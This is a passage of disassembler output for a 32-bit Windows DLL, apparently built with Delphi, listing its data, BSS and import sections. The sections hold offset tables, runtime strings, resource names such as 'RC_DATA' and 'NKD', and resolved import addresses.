dword_1000873C	dd 2E646B6Eh, 746164h	; DATA XREF: CODE:100086ADo
					; CODE:100086DBo
aRc_data	db 'RC_DATA',0          ; DATA XREF: CODE:100086C1o
aNkd		db 'NKD',0              ; DATA XREF: CODE:100086C6o
CODE		ends

; Section 2. (virtual address 00009000)
; Virtual size			: 00000400 (   1024.)
; Section size in file		: 00000400 (   1024.)
; Offset to raw	data for section: 00009000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 10009000h
dword_10009000	dd 0			; DATA XREF: sub_10003418+Ar
					; sub_10003474+2w ...
dword_10009004	dd 0			; DATA XREF: sub_10002588w
					; sub_10003418+37r ...
byte_10009008	db 2			; DATA XREF: sub_100042EC+1Ew
		db 8Dh,	40h, 0
dword_1000900C	dd 0			; DATA XREF: sub_10003A9Cr
					; sub_10003A9C+9r
dword_10009010	dd 0			; DATA XREF: DATA:off_100093E8o
word_10009014	dw 1332h		; DATA XREF: sub_10002B60+6r
					; sub_10002B60:loc_10002BD8r ...
		dw 0C08Bh
byte_10009018	db 0			; DATA XREF: sub_10002E2Cr
					; sub_10002E48r ...
		db 8Dh,	40h, 0
byte_1000901C	db 0			; DATA XREF: sub_10002F1C+52r
					; sub_10002F1C:loc_10002FA9r
		db 8Dh,	40h, 0
byte_10009020	db 0			; DATA XREF: sub_100034A4:loc_10003505r
		db 8Dh,	40h, 0
dword_10009024	dd 0			; DATA XREF: sub_10003C50r
					; sub_10004110r ...
dword_10009028	dd 0			; DATA XREF: sub_100040B4+Cr
off_1000902C	dd offset sub_10001F24	; DATA XREF: sub_100024F8+5r
					; sub_10002538+3Fr
off_10009030	dd offset sub_100020B4	; DATA XREF: sub_10002518+5r
					; sub_10002538+26r ...
off_10009034	dd offset sub_10002434	; DATA XREF: sub_10002538+Dr
byte_10009038	db 0			; DATA XREF: sub_10002594+36r
aRsu		db 'клхивохмншьзыйэщчъЮАЦ',0
aFxn@		db 'ДЕ█@',0
aError		db 'Error',0            ; DATA XREF: sub_100034A4+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_10003418+3o
					; sub_100034A4+32o ...
		dw 0C08Bh
byte_1000907C	db 30h			; DATA XREF: sub_10003418+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_1000441C+Cr
					; sub_1000441C+37r ...
dword_10009090	dd 0			; DATA XREF: sub_100044A0o
					; sub_100044AC+33o ...
dword_10009094	dd 10000000h		; DATA XREF: sub_100044AC+1Bw
dword_10009098	dd 0			; DATA XREF: sub_100044AC+22w
dword_1000909C	dd 0			; DATA XREF: sub_100044AC+29w
		dd 10000000h, 0
dword_100090A8	dd 0			; DATA XREF: sub_10007C50+15Do
dword_100090AC	dd 0			; DATA XREF: sub_10007C50+153o
dword_100090B0	dd 2			; DATA XREF: sub_10007134+1Bw
					; sub_10007134+32r ...
dword_100090B4	dd 5			; DATA XREF: sub_10007134+24w
dword_100090B8	dd 1			; DATA XREF: sub_10007134+2Dw
dword_100090BC	dd 0A28h		; DATA XREF: sub_10007134+44w
					; sub_10007134+4Fw
dword_100090C0	dd 0			; DATA XREF: sub_10007134:loc_10007188o
					; sub_10007C50+149o
dword_100090C4	dd 0			; DATA XREF: sub_100064F0+C4r
					; sub_100071A4+1Br ...
		dd 7 dup(0)
off_100090E4	dd 0			; DATA XREF: sub_10007C50+70o
					; sub_10007DD0+37o
dword_100090E8	dd 77E686CCh		; DATA XREF: sub_10007914+1Cw
					; sub_10007914:loc_10007935r ...
off_100090EC	dd 0			; DATA XREF: sub_10007C50+5Bo
		dd 0
off_100090F4	dd offset off_10004860	; DATA XREF: sub_10005760+43r
					; CODE:10007C44o
off_100090F8	dd offset off_10004868	; DATA XREF: CODE:10007C38o
tbyte_100090FC	dt 1.0e18		; DATA XREF: sub_10005FB9+63r
		dw 0C08Bh
flt_10009108	db 0Ah,	0, 0, 0		; DATA XREF: sub_10005C74+23r
					; sub_10005FB9+78r
off_1000910C	dd offset off_100048E8	; DATA XREF: sub_10006268+3Ao
					; CODE:10007C2Co
off_10009110	dd offset off_100048F0	; DATA XREF: CODE:10007C20o
off_10009114	dd offset off_100048F8	; DATA XREF: CODE:10007C14o
off_10009118	dd offset off_10004900	; DATA XREF: CODE:10007C08o
off_1000911C	dd offset off_10004908	; DATA XREF: CODE:10007BFCo
off_10009120	dd offset off_10004910	; DATA XREF: CODE:10007BF0o
off_10009124	dd offset off_10004918	; DATA XREF: CODE:10007BE4o
off_10009128	dd offset off_10004920	; DATA XREF: CODE:10007BD8o
off_1000912C	dd offset off_10004928	; DATA XREF: CODE:10007BCCo
off_10009130	dd offset off_10004930	; DATA XREF: CODE:10007BC0o
off_10009134	dd offset off_10004938	; DATA XREF: CODE:10007BB4o
off_10009138	dd offset off_10004940	; DATA XREF: CODE:10007BA8o
off_1000913C	dd offset off_10004948	; DATA XREF: sub_10006268+5Do
					; CODE:10007B9Co
off_10009140	dd offset off_10004950	; DATA XREF: CODE:10007B90o
off_10009144	dd offset off_10004958	; DATA XREF: CODE:10007B84o
off_10009148	dd offset off_10004960	; DATA XREF: CODE:10007B78o
off_1000914C	dd offset off_10004968	; DATA XREF: CODE:10007B6Co
off_10009150	dd offset off_10004970	; DATA XREF: CODE:10007B60o
off_10009154	dd offset off_10004978	; DATA XREF: CODE:10007B54o
off_10009158	dd offset off_10004980	; DATA XREF: CODE:10007B48o
off_1000915C	dd offset off_10004988	; DATA XREF: CODE:10007B3Co
off_10009160	dd offset off_10004990	; DATA XREF: CODE:10007B30o
off_10009164	dd offset off_10004998	; DATA XREF: CODE:10007B24o
off_10009168	dd offset off_100049A0	; DATA XREF: CODE:10007B18o
off_1000916C	dd offset off_100049A8	; DATA XREF: sub_10006268+A9o
					; CODE:10007B0Co
off_10009170	dd offset off_100049B0	; DATA XREF: CODE:10007B00o
off_10009174	dd offset off_100049B8	; DATA XREF: CODE:10007AF4o
off_10009178	dd offset off_100049C0	; DATA XREF: CODE:10007AE8o
off_1000917C	dd offset off_100049C8	; DATA XREF: CODE:10007ADCo
off_10009180	dd offset off_100049D0	; DATA XREF: CODE:10007AD0o
off_10009184	dd offset off_100049D8	; DATA XREF: CODE:10007AC4o
off_10009188	dd offset off_100049E0	; DATA XREF: sub_10006268+CEo
					; CODE:10007AB8o
off_1000918C	dd offset off_100049E8	; DATA XREF: CODE:10007AACo
off_10009190	dd offset off_100049F0	; DATA XREF: CODE:10007AA0o
off_10009194	dd offset off_100049F8	; DATA XREF: CODE:10007A94o
off_10009198	dd offset off_10004A00	; DATA XREF: CODE:10007A88o
off_1000919C	dd offset off_10004A08	; DATA XREF: CODE:10007A7Co
off_100091A0	dd offset off_10004A10	; DATA XREF: CODE:10007A70o
dword_100091A4	dd 2			; DATA XREF: sub_10006B2C+16r
					; sub_10007C50+46o
dword_100091A8	dd 0			; DATA XREF: sub_10006B2C+24r
					; CODE:10007A64o
		dd 3
dword_100091B0	dd 0			; DATA XREF: CODE:10007A5Co
		dd 4
dword_100091B8	dd 0			; DATA XREF: CODE:10007A54o
		dd 5
dword_100091C0	dd 0			; DATA XREF: CODE:10007A4Co
dword_100091C4	dd 64h			; DATA XREF: sub_10006BAC+2Ao
					; sub_10006D70+Fr ...
dword_100091C8	dd 0			; DATA XREF: CODE:10007A44o
		dd 65h
dword_100091D0	dd 0			; DATA XREF: CODE:10007A3Co
		dd 6Ah
dword_100091D8	dd 0			; DATA XREF: CODE:10007A34o
off_100091DC	dd offset dword_10004D24 ; DATA	XREF: sub_10007C50+31o
dword_100091E0	dd 0			; DATA XREF: CODE:10007A2Co
		dd offset dword_10004D7C
dword_100091E8	dd 0			; DATA XREF: CODE:10007A24o
		dd offset dword_10004DD4
dword_100091F0	dd 0			; DATA XREF: CODE:10007A1Co
		dd offset dword_10004E88
dword_100091F8	dd 0			; DATA XREF: CODE:10007A14o
		dd offset dword_10004EE0
dword_10009200	dd 0			; DATA XREF: CODE:10007A0Co
		dd offset dword_10004F38
dword_10009208	dd 0			; DATA XREF: CODE:10007A04o
		dd offset dword_10004F90
dword_10009210	dd 0			; DATA XREF: CODE:100079FCo
		dd offset dword_10005044
dword_10009218	dd 0			; DATA XREF: CODE:100079F4o
		dd offset dword_100050FC
dword_10009220	dd 0			; DATA XREF: CODE:100079ECo
		dd offset dword_1000515C
dword_10009228	dd 0			; DATA XREF: CODE:100079E4o
		dd offset dword_10005210
dword_10009230	dd 0			; DATA XREF: CODE:100079DCo
		dd offset dword_100051B4
dword_10009238	dd 0			; DATA XREF: CODE:100079D4o
		dd offset dword_10005268
dword_10009240	dd 0			; DATA XREF: CODE:100079CCo
		dd offset dword_10005268
dword_10009248	dd 0			; DATA XREF: CODE:100079C4o
		dd offset dword_10005268
dword_10009250	dd 0			; DATA XREF: CODE:100079BCo
		dd offset dword_10005268
dword_10009258	dd 0			; DATA XREF: CODE:100079B4o
		dd offset dword_10005268
dword_10009260	dd 0			; DATA XREF: CODE:100079ACo
		dd offset dword_10005268
dword_10009268	dd 0			; DATA XREF: CODE:100079A4o
		dd offset dword_100052C4
dword_10009270	dd 0			; DATA XREF: CODE:1000799Co
		dd offset dword_10004C6C
dword_10009278	dd 0			; DATA XREF: CODE:10007994o
		dd offset dword_10005380
dword_10009280	dd 0			; DATA XREF: CODE:1000798Co
		dd offset dword_100053DC
dword_10009288	dd 0			; DATA XREF: CODE:10007984o
dword_1000928C	dd 20591EC1h		; DATA XREF: sub_100073F0+Ar
dword_10009290	dd 0			; DATA XREF: sub_100078F4+1o
dword_10009294	dd 0			; DATA XREF: sub_10008120:loc_1000814Do
off_10009298	dd offset off_10004900	; DATA XREF: CODE:10007C0Co
off_1000929C	dd offset off_10004870	; DATA XREF: CODE:100079C0o
off_100092A0	dd offset off_100047B8	; DATA XREF: CODE:10007A58o
off_100092A4	dd offset off_10004950	; DATA XREF: CODE:10007B94o
off_100092A8	dd offset off_10004990	; DATA XREF: CODE:10007B34o
off_100092AC	dd offset off_100049F8	; DATA XREF: CODE:10007A98o
off_100092B0	dd offset off_10004920	; DATA XREF: CODE:10007BDCo
off_100092B4	dd offset off_1000A028	; DATA XREF: sub_10007030+79r
off_100092B8	dd offset off_100048B0	; DATA XREF: sub_10006F54+73r
					; CODE:10007998o
off_100092BC	dd offset off_10004A08	; DATA XREF: CODE:10007A80o
off_100092C0	dd offset dword_1000A008 ; DATA	XREF: sub_10007030+2Er
					; sub_100070B4:loc_100070FAr
off_100092C4	dd offset off_100049E0	; DATA XREF: CODE:10007ABCo
off_100092C8	dd offset off_10004908	; DATA XREF: CODE:10007C00o
off_100092CC	dd offset off_100047D0	; DATA XREF: CODE:10007A40o
off_100092D0	dd offset off_100049E8	; DATA XREF: CODE:10007AB0o
off_100092D4	dd offset off_100049C8	; DATA XREF: CODE:10007AE0o
off_100092D8	dd offset off_100049F0	; DATA XREF: CODE:10007AA4o
off_100092DC	dd offset dword_1000A01C ; DATA	XREF: sub_10007030+44r
					; sub_100070B4+58r
off_100092E0	dd offset off_100047A0	; DATA XREF: sub_10006B2C+44r
off_100092E4	dd offset off_10004858	; DATA XREF: CODE:1000692Fr
off_100092E8	dd offset off_10004798	; DATA XREF: sub_10007030r
off_100092EC	dd offset off_10004928	; DATA XREF: CODE:10007BD0o
off_100092F0	dd offset off_100047D8	; DATA XREF: CODE:10007A38o
off_100092F4	dd offset off_10004860	; DATA XREF: CODE:10007C48o
off_100092F8	dd offset off_100048D8	; DATA XREF: sub_10006CD8r
off_100092FC	dd offset off_100048A8	; DATA XREF: CODE:100079B0o
off_10009300	dd offset off_10004978	; DATA XREF: CODE:10007B58o
off_10009304	dd offset dword_1000A214 ; DATA	XREF: CODE:100068CAr
off_10009308	dd offset off_10004998	; DATA XREF: CODE:10007B28o
off_1000930C	dd offset dword_1000A00C ; DATA	XREF: sub_10007030+51r
					; sub_100070B4+61r
off_10009310	dd offset off_10004958	; DATA XREF: CODE:10007B88o
off_10009314	dd offset dword_1000A004 ; DATA	XREF: sub_10007030+39r
					; sub_100070B4+4Fr
off_10009318	dd offset dword_1000A010 ; DATA	XREF: sub_10007030+5Cr
					; sub_100070B4+6Ar
off_1000931C	dd offset off_100049A0	; DATA XREF: CODE:10007B1Co
off_10009320	dd offset off_10004838	; DATA XREF: CODE:100079D8o
off_10009324	dd offset off_10004830	; DATA XREF: CODE:100079F0o
off_10009328	dd offset off_10004840	; DATA XREF: CODE:100079E0o
off_1000932C	dd offset off_100049D8	; DATA XREF: CODE:10007AC8o
off_10009330	dd offset off_100047A8	; DATA XREF: CODE:10007A68o
off_10009334	dd offset off_100047F0	; DATA XREF: CODE:10007A20o
off_10009338	dd offset off_10004868	; DATA XREF: CODE:10007C3Co
off_1000933C	dd offset off_10004888	; DATA XREF: CODE:100079B8o
off_10009340	dd offset off_10004948	; DATA XREF: CODE:10007BA0o
off_10009344	dd offset off_100048C0	; DATA XREF: CODE:10007990o
off_10009348	dd offset off_10004970	; DATA XREF: CODE:10007B64o
off_1000934C	dd offset off_100048A0	; DATA XREF: CODE:100079C8o
off_10009350	dd offset off_10004960	; DATA XREF: CODE:10007B7Co
off_10009354	dd offset off_10004980	; DATA XREF: CODE:10007B4Co
off_10009358	dd offset off_10004898	; DATA XREF: CODE:100079D0o
off_1000935C	dd offset off_100048F0	; DATA XREF: CODE:10007C24o
off_10009360	dd offset off_10004930	; DATA XREF: CODE:10007BC4o
off_10009364	dd offset off_100049C0	; DATA XREF: CODE:10007AECo
off_10009368	dd offset off_100047C8	; DATA XREF: CODE:10007A48o
off_1000936C	dd offset off_10004808	; DATA XREF: CODE:10007A08o
off_10009370	dd offset off_10004968	; DATA XREF: CODE:10007B70o
off_10009374	dd offset off_10004818	; DATA XREF: sub_10007030+17r
off_10009378	dd offset off_100049D0	; DATA XREF: CODE:10007AD4o
off_1000937C	dd offset off_10004810	; DATA XREF: CODE:10007A00o
off_10009380	dd offset off_100049A8	; DATA XREF: CODE:10007B10o
off_10009384	dd offset dword_1000A020 ; DATA	XREF: sub_10007030+6Cr
					; sub_100070B4+73r
off_10009388	dd offset off_100048C8	; DATA XREF: CODE:10007988o
off_1000938C	dd offset off_10004880	; DATA XREF: sub_10006D88+54r
off_10009390	dd offset off_10004828	; DATA XREF: sub_10006D88+16Cr
off_10009394	dd offset off_10004A00	; DATA XREF: CODE:10007A8Co
off_10009398	dd offset off_100047C0	; DATA XREF: CODE:10007A50o
off_1000939C	dd offset off_100048B8	; DATA XREF: sub_10006C00+38r
					; CODE:100079A0o
off_100093A0	dd offset off_10004988	; DATA XREF: CODE:10007B40o
off_100093A4	dd offset off_100049B0	; DATA XREF: CODE:10007B04o
off_100093A8	dd offset byte_1000A044	; DATA XREF: CODE:100068C0r
off_100093AC	dd offset off_100049B8	; DATA XREF: CODE:10007AF8o
off_100093B0	dd offset off_10004890	; DATA XREF: CODE:100079A8o
off_100093B4	dd offset off_100048E0	; DATA XREF: sub_10006D88+110r
off_100093B8	dd offset off_10004918	; DATA XREF: CODE:10007BE8o
off_100093BC	dd offset off_100048D0	; DATA XREF: sub_10006C00+63r
off_100093C0	dd offset off_10004938	; DATA XREF: CODE:10007BB8o
off_100093C4	dd offset off_10004A10	; DATA XREF: CODE:10007A74o
off_100093C8	dd offset off_100048F8	; DATA XREF: CODE:10007C18o
off_100093CC	dd offset off_100047B0	; DATA XREF: CODE:10007A60o
off_100093D0	dd offset off_10004848	; DATA XREF: CODE:100079E8o
off_100093D4	dd offset off_100047E8	; DATA XREF: CODE:10007A28o
off_100093D8	dd offset off_100047E0	; DATA XREF: CODE:10007A30o
off_100093DC	dd offset off_10004940	; DATA XREF: CODE:10007BACo
off_100093E0	dd offset off_100047F8	; DATA XREF: CODE:10007A18o
off_100093E4	dd offset off_100048E8	; DATA XREF: CODE:10007C30o
off_100093E8	dd offset dword_10009010 ; DATA	XREF: sub_100057B8+1r
					; sub_100057B8+Cr
off_100093EC	dd offset off_10004850	; DATA XREF: CODE:10006802r
off_100093F0	dd offset off_10004820	; DATA XREF: CODE:100079F8o
off_100093F4	dd offset off_10004800	; DATA XREF: CODE:10007A10o
off_100093F8	dd offset off_10004878	; DATA XREF: sub_10006D88+45r
off_100093FC	dd offset off_10004910	; DATA XREF: CODE:10007BF4o
DATA		ends

; Section 3. (virtual address 0000A000)
; Virtual size			: 000007B5 (   1973.)
; Section size in file		: 000007B5 (   1973.)
; Offset to raw	data for section: 0000A000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 1000A000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_1000A000	dd offset sub_10003BA0	; DATA XREF: sub_100042EC+40w
dword_1000A004	dd 0			; DATA XREF: CODE:1000325Er
					; DATA:off_10009314o
dword_1000A008	dd 0			; DATA XREF: sub_10002594+9r
					; sub_10002594+16r ...
dword_1000A00C	dd 0			; DATA XREF: DATA:off_1000930Co
dword_1000A010	dd 0			; DATA XREF: sub_10002F1C+25r
					; CODE:1000323Cr ...
off_1000A014	dd offset sub_10001068	; DATA XREF: sub_10002E2C+14r
					; sub_10002E48+16r ...
off_1000A018	dd offset sub_10001070	; DATA XREF: sub_10002F1C+D2r
					; CODE:10003224r ...
dword_1000A01C	dd 0			; DATA XREF: DATA:off_100092DCo
dword_1000A020	dd 0			; DATA XREF: DATA:off_10009384o
dword_1000A024	dd 0			; DATA XREF: sub_10003530+A8r
					; sub_10003530+B1r
off_1000A028	dd offset sub_10006CD8	; DATA XREF: DATA:off_100092B4o
dword_1000A02C	dd 10000000h		; DATA XREF: sub_1000338C+29w
dword_1000A030	dd 0D4h			; DATA XREF: sub_100042EC+DEw
byte_1000A034	db 0			; DATA XREF: sub_1000338C+33w
		align 4
dword_1000A038	dd 0Ah			; DATA XREF: sub_100042EC+87w
dword_1000A03C	dd 142340h		; DATA XREF: sub_100042EC+7Dw
dword_1000A040	dd 0			; DATA XREF: sub_10003530+Eo
byte_1000A044	db 0			; DATA XREF: sub_100034A4+1r
					; DATA:off_100093A8o
byte_1000A045	db 0			; DATA XREF: sub_10001838+1Br
					; sub_10001838:loc_100018DAr ...
byte_1000A046	db 2			; DATA XREF: sub_100042EC+39w
		align 4
dword_1000A048	dd 0			; DATA XREF: sub_100026DC:loc_1000271Bo
					; sub_1000428C+19o
word_1000A04C	dw 0D7B0h		; DATA XREF: sub_100042EC+5Dw
		align 10h
		dd 71h dup(0)
dword_1000A214	dd 0			; DATA XREF: sub_10002688:loc_100026A7o
					; sub_100034A4+1Eo ...
word_1000A218	dw 0D7B0h		; DATA XREF: sub_100034A4+Ar
					; sub_100042EC+66w
		align 10h
dword_1000A220	dd 0			; DATA XREF: sub_100034A4+15r
		align 10h
dword_1000A230	dd 0			; DATA XREF: sub_100034A4+23r
		dd 6Bh dup(0)
dword_1000A3E0	dd 0			; DATA XREF: sub_10002688+26o
					; sub_1000428C+2Do
word_1000A3E4	dw 0D7B0h		; DATA XREF: sub_100042EC+6Fw
		align 4
		dd 71h dup(0)
dword_1000A5AC	dd 1			; DATA XREF: sub_10001AA0w
					; sub_10001E30+92w ...
dword_1000A5B0	dd 47A8h		; DATA XREF: sub_10001AA0+16w
					; sub_10001E30+9Bw ...
dword_1000A5B4	dd 0			; DATA XREF: sub_1000428C+11w
					; sub_100042EC+11w
dword_1000A5B8	dd 3			; DATA XREF: sub_10003740+10r
					; sub_100042EC+ADw ...
byte_1000A5BC	db 0			; DATA XREF: sub_10001838+8Ew
					; sub_10001838:loc_100018F5r ...
		align 10h
dword_1000A5C0	dd 0			; DATA XREF: sub_1000142C+6Dw
					; sub_10001578+63w ...
dword_1000A5C4	dd 6 dup(0)		; DATA XREF: sub_10001838+11o
					; sub_10001838+24o ...
dword_1000A5DC	dd 0			; DATA XREF: sub_100011AC:loc_100011CFr
					; sub_100011AC+2Aw ...
dword_1000A5E0	dd 145AB4h		; DATA XREF: sub_100011AC+2o
					; sub_10001234+Ar ...
off_1000A5E4	dd offset off_1000A5E4	; DATA XREF: sub_10001350+3Eo
					; sub_100013B4+51o ...
		dd offset off_1000A5E4
		dd 2 dup(0)
off_1000A5F4	dd offset off_1000A5F4	; DATA XREF: sub_100015F8+Bo
					; sub_10001688+Eo ...
		dd offset off_1000A5F4
		dd 2 dup(0)
dword_1000A604	dd 844C04h		; DATA XREF: sub_10001838+7Fo
dword_1000A608	dd 844C04h		; DATA XREF: sub_10001E30:loc_10001E40r
		align 10h
dword_1000A610	dd 844C04h		; DATA XREF: sub_10001838+89w
					; sub_100019DC+1r ...
dword_1000A614	dd 0			; DATA XREF: sub_10001CCCr
					; sub_10001CCC+9r ...
dword_1000A618	dd 0			; DATA XREF: sub_10001CCC+26r
					; sub_10001CCC+2Er ...
dword_1000A61C	dd 0			; DATA XREF: sub_10001838+58w
					; sub_10001838+5Dr ...
off_1000A620	dd offset off_1000A620	; DATA XREF: sub_10001838+42o
					; sub_100018FC+81o ...
		dd offset off_1000A620
		align 10h
dword_1000A630	dd 0			; DATA XREF: sub_100032CC+6o
					; sub_10003474+Do ...
dword_1000A634	dd 12FFB4h		; DATA XREF: sub_10003284+17w
					; sub_100032A4+2r
off_1000A638	dd offset dword_1000861C ; DATA	XREF: sub_1000332C+6r
					; sub_1000338C+14w
dword_1000A63C	dd 0			; DATA XREF: sub_1000332C+2Cw
					; sub_1000338C+1Bw
off_1000A640	dd offset dword_10009090 ; DATA	XREF: sub_1000338C+20w
		dd 6 dup(0)
dword_1000A65C	dd 0			; DATA XREF: sub_1000428C+3Co
byte_1000A660	db 0			; DATA XREF: sub_10004460r
byte_1000A661	db 0			; DATA XREF: sub_10007DD0+2Er
		align 4
dword_1000A664	dd 10000000h		; DATA XREF: sub_100044AC+11w
					; sub_100044AC+16r ...
dword_1000A668	dd 0			; DATA XREF: sub_100044F0+11w
					; CODE:loc_10004520w
dword_1000A66C	dd 0			; DATA XREF: sub_10004460:loc_1000448Fr
dword_1000A670	dd 0			; DATA XREF: sub_10004528+11w
					; sub_10004558w
dword_1000A674	dd 0			; DATA XREF: sub_100046A0+11w
					; sub_100046D0w
dword_1000A678	dd 0			; DATA XREF: sub_10004760+11w
					; sub_10004790w
dword_1000A67C	dd 0			; DATA XREF: sub_10004A18+11w
					; sub_10004A48w
dword_1000A680	dd 0			; DATA XREF: sub_10005CB8+1Cr
					; sub_1000757C+52o ...
byte_1000A684	db 0			; DATA XREF: sub_10005CB8+24r
					; sub_1000757C+7Bw
byte_1000A685	db 0			; DATA XREF: sub_10005CB8+2Cr
					; sub_1000757C+9Fw
byte_1000A686	db 2Ch			; DATA XREF: sub_10005CB8+14r
					; sub_1000757C+B2w
byte_1000A687	db 2Eh			; DATA XREF: sub_10005CB8+Cr
					; sub_1000757C+C5w
byte_1000A688	db 2			; DATA XREF: sub_10005912+1F9r
					; sub_1000757C+E9w
byte_1000A689	db 2Fh			; DATA XREF: sub_1000757C+FCw
		align 4
dword_1000A68C	dd 0			; DATA XREF: sub_1000757C+124o
					; sub_10007C50+135o
dword_1000A690	dd 0			; DATA XREF: sub_1000757C+151o
					; sub_10007C50+12Bo
byte_1000A694	db 3Ah			; DATA XREF: sub_1000757C+169w
		align 4
dword_1000A698	dd 0			; DATA XREF: sub_1000757C+186o
					; sub_10007C50+121o
dword_1000A69C	dd 0			; DATA XREF: sub_1000757C+1A8o
					; sub_10007C50+117o
dword_1000A6A0	dd 0			; DATA XREF: sub_1000757C+271o
					; sub_10007C50+10Do
dword_1000A6A4	dd 0			; DATA XREF: sub_1000757C+28Eo
					; sub_10007C50+103o
dword_1000A6A8	dd 0Ch dup(0)		; DATA XREF: sub_10006268+29o
					; sub_10007C50+EEo
dword_1000A6D8	dd 0Ch dup(0)		; DATA XREF: sub_10006268+2Eo
					; sub_10007C50+D9o
dword_1000A708	dd 7 dup(0)		; DATA XREF: sub_10006268+8Ao
					; sub_10007C50+C4o
dword_1000A724	dd 7 dup(0)		; DATA XREF: sub_10006268+8Fo
					; sub_10007C50+AFo
dword_1000A740	dd 409h			; DATA XREF: sub_10007390+Er
					; sub_10007408+Cw ...
dword_1000A744	dd 9			; DATA XREF: sub_100064F0+5Cr
					; sub_100073F0r ...
dword_1000A748	dd 1			; DATA XREF: sub_10007408+20w
					; sub_10007408+53w
dword_1000A74C	dd 2C0000h		; DATA XREF: sub_1000638C:loc_100063A0r
					; sub_1000638C+1Eo ...
dword_1000A750	dd 6 dup(0)		; DATA XREF: sub_10007C50+9Ao
dword_1000A768	dd 0			; DATA XREF: sub_100063C8:loc_100063ECr
					; sub_100063C8+43w
dword_1000A76C	dd 7 dup(0)		; DATA XREF: sub_10006440+5Do
dword_1000A788	dd 0			; DATA XREF: sub_10007C50+8Ao
dword_1000A78C	dd 0			; DATA XREF: sub_10007C50+7Ao
dword_1000A790	dd 0			; DATA XREF: sub_10007C50+11w
					; sub_10007DD0+11w
dword_1000A794	dd 0			; DATA XREF: sub_10006BAC:loc_10006BC1r
					; sub_10007030+12w ...
dword_1000A798	dd 0			; DATA XREF: sub_10006BAC:loc_10006BC9r
					; sub_10007030+29w ...
dword_1000A79C	dd 0			; DATA XREF: sub_10007C50+1Do
dword_1000A7A0	dd 0			; DATA XREF: sub_10007E50+11w
					; sub_10007E80w
dword_1000A7A4	dd 0			; DATA XREF: sub_10007E88+11w
					; sub_10007EB8w
dword_1000A7A8	dd 0			; DATA XREF: sub_10008120+11w
					; sub_10008170w
dword_1000A7AC	dd 0			; DATA XREF: sub_10008120+19r
					; sub_10008120+22r
dword_1000A7B0	dd 6400h		; DATA XREF: CODE:100086E8o
					; CODE:100086F2o
		db 0
BSS		ends

; Section 4. (virtual address 0000B000)
; Virtual size			: 000007DA (   2010.)
; Section size in file		: 000007DA (   2010.)
; Offset to raw	data for section: 0000B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 1000B000h
		dd 3 dup(0)
		dd 0B218h, 0B0B4h, 3 dup(0)
		dd 0B43Ah, 0B130h, 3 dup(0)
		dd 0B480h, 0B144h, 3 dup(0)
		dd 0B4C0h, 0B154h, 3 dup(0)
		dd 0B4DEh, 0B15Ch, 3 dup(0)
		dd 0B52Ah, 0B170h, 3 dup(0)
		dd 0B764h, 0B1F8h, 3 dup(0)
		dd 0B7BAh, 0B210h, 5 dup(0)
dword_1000B0B4	dd 77F53275h		; DATA XREF: sub_100011A4r
dword_1000B0B8	dd 77F7E300h		; DATA XREF: sub_1000119Cr
dword_1000B0BC	dd 77F7E21Fh		; DATA XREF: sub_10001194r
dword_1000B0C0	dd 77E79908h		; DATA XREF: sub_1000118Cr
dword_1000B0C4	dd 77E79E34h		; DATA XREF: sub_10001184r
dword_1000B0C8	dd 77E7980Ah		; DATA XREF: sub_1000117Cr
dword_1000B0CC	dd 77E79A45h		; DATA XREF: sub_10001174r
dword_1000B0D0	dd 77E79881h		; DATA XREF: sub_1000116Cr
dword_1000B0D4	dd 77E7C486h		; DATA XREF: sub_10001140r
dword_1000B0D8	dd 77E77CC4h		; DATA XREF: sub_10001138r
dword_1000B0DC	dd 77E79924h		; DATA XREF: sub_10001128r
dword_1000B0E0	dd 77E74672h		; DATA XREF: sub_10001108r
dword_1000B0E4	dd 77E73BEFh		; DATA XREF: sub_10001100r
dword_1000B0E8	dd 77E805B8h		; DATA XREF: sub_100010F0r
dword_1000B0EC	dd 77E77F21h		; DATA XREF: sub_100010E8r
dword_1000B0F0	dd 77E6177Ah		; DATA XREF: sub_100010E0r
dword_1000B0F4	dd 77E7A5FDh		; DATA XREF: sub_100010D8r
dword_1000B0F8	dd 77E79F93h		; DATA XREF: sub_100010D0r
dword_1000B0FC	dd 77E7A099h		; DATA XREF: sub_100010C8r
dword_1000B100	dd 77E7513Ch		; DATA XREF: sub_100010C0r
dword_1000B104	dd 77E7C938h		; DATA XREF: sub_100010B8r
dword_1000B108	dd 77E80618h		; DATA XREF: sub_100010B0r
dword_1000B10C	dd 77E75D9Eh		; DATA XREF: sub_100010A8r
dword_1000B110	dd 77E78EAAh		; DATA XREF: sub_100010A0r
dword_1000B114	dd 77E75CB5h		; DATA XREF: sub_10001090r
dword_1000B118	dd 77E79D8Ch		; DATA XREF: sub_10001080r
dword_1000B11C	dd 77EB9A84h		; DATA XREF: sub_10001078r
dword_1000B120	dd 77F6183Eh		; DATA XREF: sub_10001070r
dword_1000B124	dd 77E6D706h		; DATA XREF: sub_10001068r
dword_1000B128	dd 77E79C3Dh		; DATA XREF: sub_10001060r
		align 10h
dword_1000B130	dd 77D6E1D6h		; DATA XREF: sub_10002B28r
dword_1000B134	dd 77D47250h		; DATA XREF: sub_100010F8r
dword_1000B138	dd 77D6ADD7h		; DATA XREF: sub_10001098r
dword_1000B13C	dd 77D472ECh		; DATA XREF: sub_10001088r
		dd 0
dword_1000B144	dd 77DD23D7h		; DATA XREF: sub_10001120r
dword_1000B148	dd 77DD22EAh		; DATA XREF: sub_10001118r
dword_1000B14C	dd 77DD189Ah		; DATA XREF: sub_10001110r
		dd 0
dword_1000B154	dd 771214E8h		; DATA XREF: sub_10001130r
		dd 0
dword_1000B15C	dd 77E79B39h		; DATA XREF: sub_10004400r
dword_1000B160	dd 77E78B61h		; DATA XREF: sub_100043F8r
dword_1000B164	dd 77E79881h		; DATA XREF: sub_100043F0r
dword_1000B168	dd 77E79F93h		; DATA XREF: sub_100043E8r
		align 10h
